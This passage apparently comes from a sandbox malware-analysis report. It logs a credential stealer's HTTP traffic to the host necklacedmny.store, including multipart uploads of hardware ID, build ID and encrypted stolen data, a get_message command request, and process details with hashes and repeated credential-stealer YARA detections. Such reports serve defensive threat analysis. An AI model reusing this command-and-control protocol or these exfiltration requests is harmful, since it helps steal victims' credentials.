cfL4;desc="?proto=TCP&rtt=1036&sent=7&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2209&delivery_rate=2928210&cwnd=249&unsent_bytes=0&cid=b2bdb79fc0921cd3&ts=842&x=0"
2024-11-01 02:46:58 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 02:46:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	58591	188.114.97.3	443	4600	C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:47:00 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 565324 Host: necklacedmny.store
2024-11-01 02:47:00 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 35 36 30 35 32 32 41 45 44 34 30 42 43 32 32 33 41 37 30 45 46 33 44 43 41 42 44 46 44 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5560522AED40BC223A70EF3DCABDFD84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 02:47:00 UTC	15331	OUT	Data Raw: 1c 16 5d 78 9f ac 89 4b 40 71 4a 84 53 2c e9 18 e2 5c 72 f8 b1 cc 47 94 a6 49 74 73 56 66 84 31 36 72 a6 6a 92 6f c3 bc 45 85 ac 3c 3e 56 de 28 35 45 4f ea 4a 62 f9 64 5c 5d 72 31 a3 f2 b3 74 d1 08 9f d1 c3 f0 43 bd d8 58 f1 07 45 dc 62 3c 18 47 b5 4f f1 7e 19 aa d2 0d 12 38 77 a4 88 57 21 22 2b 5e ff 86 09 a1 7f 7f 34 ec 27 31 2b 44 67 a0 da 27 d7 c5 fa 8a 86 23 19 22 44 35 dd 29 03 80 b1 3d 51 81 3b 4d a2 64 cc 1b 19 c6 44 d8 13 9e 27 5b ab d2 fb 96 cc e1 98 41 98 2d 24 b8 25 81 e9 43 c3 f1 dc 5b 91 1a 1f af 8f db c6 a9 8f 2b bd fc e2 c0 7c e6 60 cd b2 a7 4b c7 6d df f2 7b 3c 07 07 a5 9d b8 f1 a2 d6 0f 7c d7 2a 34 37 96 fe b8 cb ed 48 80 32 51 91 ac 30 12 2c 30 4d c9 d7 74 6d 20 75 60 2f 32 b2 fb fd 24 77 1a a5 cd 6f 58 70 0f 8d 45 6f d7 87 ed b3 34 c4 Data Ascii: ]xK@qJS,\rGItsVf16rjoE<>V(5EOJbd\]r1tCXEb<GO~8wW!"+^4'1+Dg'#"D5)=Q;MdD'[A-$%C[+\|`Km{<\|*47H2Q0,0Mtm u`/2$woXpEo4
2024-11-01 02:47:00 UTC	15331	OUT	Data Raw: 31 83 23 22 79 a7 88 e5 d9 85 f9 9e f9 ca f5 8e 42 eb 83 7c 64 fd 13 d6 aa b5 02 92 5e 3f ca da c3 f0 03 e6 1b c7 6e f7 73 9f c0 04 66 fd 9a f9 40 4b 4a 41 25 bb 79 a2 f3 d1 c7 f0 0a d1 db f4 1f be a2 51 2f 4a 79 ef 7f 44 12 ba 3a d8 2f 1c 08 1e bd 9d 86 f3 07 32 d7 16 de 0c 57 f7 7e 50 25 35 1c d9 7d 87 dd 59 56 3b 9e 58 ed 55 54 35 bf 1e 32 ec 55 36 32 19 ce 5d c9 ac aa 5a d8 fc 10 e2 37 7b b4 8c fc e5 ef d7 10 e3 5d 00 f7 93 93 d6 4f b3 80 ff 7e 64 96 af 74 e8 ab c3 75 05 dc c5 f3 ac c1 cc c0 9d a1 2f 62 ce 1b 87 14 e4 a4 96 36 7f dc 5e a3 8f fe ab 26 6c e2 fc f5 f5 46 86 e8 d8 f2 7d 87 ea f9 6f e1 ac b1 a7 82 35 1d bf d7 4c fe a4 f0 ad 86 d3 51 c5 2c d2 9e 1b 49 7b e8 5d fe 2a b7 af 0f 0b 5b 19 73 4a 1c aa ee be 1b 2a b9 f9 cf 10 7b bd aa 9e 3f 87 a5 Data Ascii: 1#"yB\|d^?nsf@KJA%yQ/JyD:/2W~P%5}YV;XUT52U62]Z7{]O~dtu/b6^&lF}o5LQ,I{][sJ{?
2024-11-01 02:47:00 UTC	15331	OUT	Data Raw: 23 af 12 d3 f5 3c 8f 03 74 b8 35 8f 0f 5d da 16 d7 43 6f ee f7 af 0f f2 f2 df fa 13 0f a7 cd dc a2 df b4 e0 4b 5f bf 7f 5c f3 45 31 38 c1 fc b8 50 a9 ef 0a 69 52 3b f4 27 16 bb 1d e0 c3 7f 69 f3 4f fa aa d7 37 be e4 c6 31 05 ac 0b 91 ac 8a b9 57 8e c9 62 e2 7d 11 9b 24 dd b4 94 ea 4a 19 cf 86 de 80 a2 66 e8 5f e6 c4 9f 2d b0 d4 67 f9 14 46 9b f1 b3 09 87 01 66 dd 9f d1 74 cf ad d3 87 1b 79 e7 bf a2 22 ad 9f ef 90 7c 31 03 80 67 a7 e2 0c e6 2b 27 eb 9e ff e6 b2 fe 9b c8 e9 d3 be a5 94 ac 8d 6e da 65 bd f1 9e 96 d1 17 92 be e7 c2 e0 cf ab f1 6c 18 e2 96 8c e2 3c 56 dd 8e e9 c0 bb b8 e0 c9 57 17 cc 0c 56 64 6d 47 ed a8 0e 8e 96 38 1b 15 90 cc 5d f6 34 5d bb f7 85 fa 93 35 90 67 4a 9f 7b 54 bc 73 77 ff d7 21 fb ed 00 fd 9d c2 12 30 9c f8 19 49 a2 29 d0 8c f8 Data Ascii: #<t5]CoK_\E18PiR;'iO71Wb}$Jf_-gFfty"\|1g+'nel<VWVdmG8]4]5gJ{Tsw!0I)
2024-11-01 02:47:00 UTC	15331	OUT	Data Raw: c7 5b 9b 37 28 c6 f6 df 34 8f 63 5a 60 86 76 f5 27 ac 66 04 1f 60 6d 68 ce 03 e4 1b 84 44 c1 eb 76 6d 43 cd 55 bf 09 5f 55 47 64 ed 42 75 e0 d8 e0 10 93 b3 78 5c 13 a2 9d e1 b5 9b 66 bb 25 86 7f 5d 4a 52 c7 f4 69 88 03 97 a7 52 a7 af 82 29 d6 0e 4f fd 03 6d dd c4 16 f3 2b 54 f5 0b 35 06 d5 46 ad 8c 95 88 d6 ff 6d 5d 47 70 dd b5 cc 38 15 1e a1 52 75 3a 13 03 b2 ca 11 6f fe 9f 50 fd 7f 72 b6 01 9c 66 66 4b 11 01 73 18 70 0d 3d 35 62 2f 09 35 bd dc ee fa c5 09 58 c0 01 39 86 84 ec 86 1d 4b 04 08 dd ce 57 85 82 94 e0 74 e1 15 03 40 46 84 89 82 03 5d 77 80 69 77 7d 30 86 ad 86 6a 39 e5 6f 54 38 d4 32 87 ff 67 12 d5 8b 3e 3a d4 2a 5e 80 8c 79 25 41 fe 60 06 e1 e4 33 ea 42 8c be cb 05 bd 9e cd 77 17 c5 11 65 c8 69 5a 6c 2b ae d7 51 38 79 d0 30 a5 3a 56 e9 86 e8 Data Ascii: [7(4cZ`v'f`mhDvmCU_UGdBux\f%]JRiR)Om+T5Fm]Gp8Ru:oPrffKsp=5b/5X9KWt@F]wiw}0j9oT82g>:*^y%A`3BweiZl+Q8y0:V
2024-11-01 02:47:00 UTC	15331	OUT	Data Raw: a3 a9 81 d9 e2 64 8b 08 21 b1 6b ee 1a 3d 42 ab 5d 4c 5f cf 8c 4c 84 f1 ec 5e d4 b1 86 8f 7e 49 ba 9a ee f5 0b 1e 2f b2 ac 94 e9 01 a0 c2 4b 1a 59 f0 9b 56 4d 40 5d d1 6c a4 42 0c 36 77 99 bb 06 07 9f d0 b2 84 34 2d 49 10 94 3f 97 fb df 3a bb 7e bb 66 5e e1 32 b8 e3 f7 8c cf 77 64 1c e6 8f f4 bf 33 13 05 00 e0 08 03 8d 44 28 14 30 d7 a7 a6 1e 8c a4 9d 87 f3 c3 eb b0 27 94 1b 9d b7 7b 20 ae 7a ff 61 03 b0 86 cd 53 e0 d5 1f 23 37 87 28 02 e0 d5 52 1b 92 ae c0 a2 a7 84 fe 2a 3d 60 80 9d 0a d0 40 42 bc 88 43 08 13 2a fd 1e 93 7b 9a 10 13 59 ed fb a5 55 e0 85 be b7 e4 cd 96 91 bf 6f d8 b1 aa 3a 0e 39 0a 0b d7 3f d7 bb 55 7a fd 0d 44 1e df b8 bc 47 06 68 df 1c 9a f8 07 b3 f1 15 62 94 55 1f c3 31 04 c7 74 30 42 d0 42 a3 50 af e4 4f 59 7a e3 9e 4b 67 72 b1 be 85 Data Ascii: d!k=B]L_L^~I/KYVM@]lB6w4-I?:~f^2wd3D(0'{ zaS#7(R=`@BC{YUo:9?UzDGhbU1t0BBPOYzKgr
2024-11-01 02:47:00 UTC	15331	OUT	Data Raw: 8b 67 82 75 46 39 35 2a c8 43 47 a0 da b6 ba 39 22 cb fb 04 65 39 9c 63 c8 f2 0e 44 39 00 dd 47 ad 0b e3 fc c4 0a 48 6a 04 dd e0 6e 50 e4 83 b8 f6 03 73 ca 8c 50 77 a2 c0 20 3e b5 ee b8 cf da be 16 33 15 c9 4d 40 ad c8 7d 29 db cd 86 83 a0 4e 2d a6 54 bf 80 f7 24 d7 6f 4f 31 36 a4 75 fe 0b 5d 90 91 54 cc c5 a2 14 ed 78 10 07 25 eb 6b 1f 42 64 76 01 db 25 75 cb 03 62 18 18 7f 36 dc de 94 50 69 f5 5c 1c fe 2c 90 c6 fa ed ca fa fd 4f 5d cd b3 08 ee 66 ce f6 24 47 e9 8d 6b 8d 22 c7 2c 98 a5 b0 70 64 63 8f 35 db 3c 7e 31 9c d5 96 b8 a3 1e 43 51 1f 62 50 19 84 f1 c6 bf df be f8 f5 c2 86 6e f7 0a d6 7d e6 35 ee 32 b2 ff 94 ba d1 ea 0c 7d 99 f5 cf 6e a9 01 aa 2a 43 07 3b d5 c3 03 6a 96 bf ff f4 bc 79 29 c4 d2 8a 50 14 b7 59 81 89 9a 7f a3 7a fa fe 89 3b f3 4e 7d Data Ascii: guF95CG9"e9cD9GHjnPsPw >3M@})N-T$oO16u]Tx%kBdv%ub6Pi\,O]f$Gk",pdc5<~1CQbPn}52}nC;jy)PYz;N}
2024-11-01 02:47:00 UTC	15331	OUT	Data Raw: 34 d2 4a ce 47 f9 03 44 30 aa fa eb 27 6b 5f 7d be 85 6e fd d5 ba 8a ca 01 5d 65 d8 8b b7 fc 39 68 57 e4 8b 55 13 2d de 1c 22 7b ae de 7d 74 6e 88 3f 43 aa f2 51 86 bf 69 7c ae 4e 5b 99 3b 34 39 a7 c3 dc 3d fc 6d f5 28 3f 67 c8 64 e6 58 fd 4d 76 35 29 58 f0 dd 76 90 2e a1 0e 1d 6b 02 e0 a8 0e 98 ee dc 59 11 07 91 9c 63 5e 7b b0 7a de 4c 02 b4 8c a8 d0 6a ee df a7 3d 10 35 0d ff ce dd a7 92 5a 20 e1 ba f5 c5 23 d7 1a 64 bc 4c ef 6f 91 68 11 ab 6f 66 8a 8b 53 44 56 8e 67 17 f6 55 36 3c 2f 2c fe 69 8d 60 4a a3 32 3e 37 b0 fe 13 82 87 a3 e1 13 a2 c0 8e fd 01 12 3c a9 a8 d2 03 48 d0 29 05 9a 4d 7b ed 36 27 49 46 42 54 72 8b 05 60 be ba 3f 18 f4 b5 ae 12 a6 48 27 04 20 e0 44 ce 8b 27 35 3e dc ab 18 be 8f b4 d3 18 32 e8 f6 c6 59 90 ae 89 bb 8c 81 84 81 0c 4f 03 Data Ascii: 4JGD0'k_}n]e9hWU-"{}tn?CQi\|N[;49=m(?gdXMv5)Xv.kYc^{zLj=5Z #dLohofSDVgU6</,i`J2>7<H)M{6'IFBTr`?H' D'5>2YO
2024-11-01 02:47:00 UTC	15331	OUT	Data Raw: 1c 0d 8f 98 3e b1 6a e3 49 6d 97 60 db e8 8b 57 eb 1e f2 d8 d2 6f e3 71 44 e4 a0 cf 7b c3 3c 38 24 80 f7 6d d9 66 e1 21 5b 1a 25 09 ae 6f f6 28 2f e1 5e b1 a2 bd 92 31 34 75 04 e4 29 c4 85 76 b9 6c bc 9f 7b 19 64 b4 2b d5 06 1d f6 b2 49 77 8c 3b 98 91 6a 9f 19 b9 5f b6 d9 56 ef 49 f5 53 4c bf 92 0a 1c 00 1d fc eb 1f dd 28 62 b6 ea 30 f3 2c e2 ef 2b 98 e4 79 46 3a 3b 97 85 f7 f6 81 7e ad 16 26 21 eb d0 d8 ec 5c e0 e0 1c d5 85 68 7e 40 9f 14 aa 97 70 68 43 50 94 17 4c 73 88 29 89 0a af bf 10 e6 46 45 29 c6 7c e9 d5 b7 7f c9 5f a3 34 dc 86 b0 c2 42 31 27 1c 86 aa 5e 3e c1 b7 f0 ea 94 29 6e 45 46 f2 1d e7 c3 7a 65 a8 aa cc ac 83 61 46 fc d6 16 f0 8c b1 a3 e7 ed c4 f8 70 78 f5 c9 1f ba 51 a4 0e 16 2a 96 f1 62 89 8b 05 c5 32 a5 c2 eb 67 2d a8 aa e8 6b 08 4a f3 Data Ascii: >jIm`WoqD{<8$mf![%o(/^14u)vl{d+Iw;j_VISL(b0,+yF:;~&!\h~@phCPLs)FE)\|_4B1'^>)nEFzeaFpxQ*b2g-kJ
2024-11-01 02:47:00 UTC	15331	OUT	Data Raw: 9c b9 66 a3 d7 f4 fd 6f 86 3b 8b 98 29 28 4d a1 59 df bd 0f c2 27 8e 30 41 d8 4e 71 35 d6 eb 87 90 2d c9 36 c1 4b bd 06 05 6b 30 31 a5 98 04 1b 1b d2 ac 33 86 7a 7d 36 0b 50 6a 05 49 9b 30 24 cc d1 02 f5 a1 33 c3 d5 cd 10 15 87 48 c6 f0 5c df cd 4f b5 7c 5d 98 f7 1d e4 0f f5 2e 0e f8 79 86 cf f5 ae 56 ed 3d ad 15 34 fb 99 ec 37 8b a1 0f 99 73 62 b2 4e 35 d2 e9 7e af fc d9 dc bb fe 6c 9e c1 d8 ac 2e 85 a5 4e fc 4f 6d 60 2f f1 0b 7a 9c ed 03 f1 69 62 94 71 88 d5 6d 43 9e 32 9f ff 50 58 fa 3b d8 7d 5c fc e3 c4 fa 1b 14 70 1b 1e 1c 60 5f 07 f2 a4 ec ea c8 99 c6 d9 0d 47 fa 50 7f 38 ab 9d 85 40 81 70 ff e5 85 6b 1b 11 ee b7 81 5e 29 10 14 04 ee c3 9e 93 08 78 60 a7 0b 3c f0 07 cc 1f 16 b8 85 c7 55 57 6b 1d 0b e7 24 40 64 b9 0c 58 21 f0 fb 76 ce 0a 82 7e d4 6a Data Ascii: fo;)(MY'0ANq5-6Kk013z}6PjI0$3H\O\|].yV=47sbN5~l.NOm`/zibqmC2PX;}\p`_GP8@pk^)x`<UWk$@dX!v~j
2024-11-01 02:47:02 UTC	1020	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:47:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jcpf5do574kdg0cmf8qjesifj2; expires=Mon, 24-Feb-2025 20:33:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1%2F93mxjyjdpWAGvK86hl7%2BfpyS75hdgUCxqhECQf3xbYp%2Fp0Ik6lq1lADY4oPjabMdJIqFZqgovFKAfi8mvaMu0RL9kx5PODcI3KPXE1CxBuOQ93iaRrQgaG1Ua3l9CTOoHM8Kk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db88ec2dc334740-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=971&sent=223&recv=614&lost=0&retrans=0&sent_bytes=2845&recv_bytes=567851&delivery_rate=2919354&cwnd=237&unsent_bytes=0&cid=8a9e94499d710ef8&ts=2561&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	58595	188.114.97.3	443	4600	C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:47:03 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-11-01 02:47:03 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 35 35 36 30 35 32 32 41 45 44 34 30 42 43 32 32 33 41 37 30 45 46 33 44 43 41 42 44 46 44 38 34 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=5560522AED40BC223A70EF3DCABDFD84
2024-11-01 02:47:04 UTC	1015	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:47:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lnpkt6t5um9rg8qaik7are6hbn; expires=Mon, 24-Feb-2025 20:33:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=o2qjdMTLV6M6Tb7j7wRcIlbTVsbumY7t79IZExCn5zTdT%2BHqHoP5VgvZ5YKJFW8TO0me4%2F%2FQsUlIBtJ6dfNLnTNxwkr3QGtagHfOoPY2wB99%2Bg7yzhEvhbod9nBfxz6Aelf7XQo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db88ed72f693470-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1195&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=989&delivery_rate=2395368&cwnd=251&unsent_bytes=0&cid=5232d7dfa4833dba&ts=829&x=0"
2024-11-01 02:47:04 UTC	214	IN	Data Raw: 64 30 0d 0a 56 56 30 72 4f 55 4b 2b 2f 67 62 2f 6e 43 6f 53 58 44 38 61 61 74 43 6d 76 55 64 4e 4d 56 52 45 69 4b 59 6f 52 30 32 59 4a 39 6b 4f 4a 67 6c 4d 59 49 54 63 62 6f 76 6f 57 69 67 41 45 45 5a 46 34 5a 36 49 61 58 38 41 59 57 71 35 6c 78 74 70 66 4b 35 37 39 6a 6f 37 54 57 56 74 32 70 74 67 30 66 6c 53 64 33 34 54 4f 41 79 6b 68 49 64 33 59 52 4d 78 5a 72 4b 57 56 57 73 32 75 6c 4c 37 62 33 39 44 54 54 62 4f 78 46 72 51 77 41 55 6a 5a 41 6f 30 57 4f 47 54 6b 33 5a 38 41 6e 70 31 76 76 6f 48 4b 69 54 32 51 6f 56 36 4c 30 70 58 4a 74 47 54 4b 4a 72 6b 54 7a 42 77 48 58 77 65 38 70 79 4e 61 32 39 55 64 6e 36 34 32 33 55 3d 0d 0a Data Ascii: d0VV0rOUK+/gb/nCoSXD8aatCmvUdNMVREiKYoR02YJ9kOJglMYITcbovoWigAEEZF4Z6IaX8AYWq5lxtpfK579jo7TWVt2ptg0flSd34TOAykhId3YRMxZrKWVWs2ulL7b39DTTbOxFrQwAUjZAo0WOGTk3Z8Anp1vvoHKiT2QoV6L0pXJtGTKJrkTzBwHXwe8pyNa29Udn6423U=
2024-11-01 02:47:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	22:45:02
Start date:	31/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x690000
File size:	2'948'608 bytes
MD5 hash:	78D26695BB248B0C04F8FE3FB9192CBF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2218789350.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2219380612.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2220336413.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2219380612.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2218110887.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2218789350.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2218561038.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2220582846.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2221060387.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2218972798.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2217375295.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2217818575.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2217595506.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2217076402.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2217818575.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2220336413.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2219800976.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2220806281.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2218359948.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2218561038.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2218972798.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2219191933.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2219610769.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2218110887.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2217375295.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2221325192.0000000000B41000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2219800976.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2217076402.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2220806281.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2220039343.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2218359948.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2219610769.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2219191933.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2220039343.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2217595506.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2220582846.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2221060387.0000000000B39000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	22:45:24
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe"
Imagebase:	0x460000
File size:	2'812'928 bytes
MD5 hash:	CB42CA53DE833C0AE771AA0BB9889E9C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	22:45:26
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe"
Imagebase:	0x1000000
File size:	1'913'856 bytes
MD5 hash:	4264ECCF5968410DB0AFCF14351FC8E0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
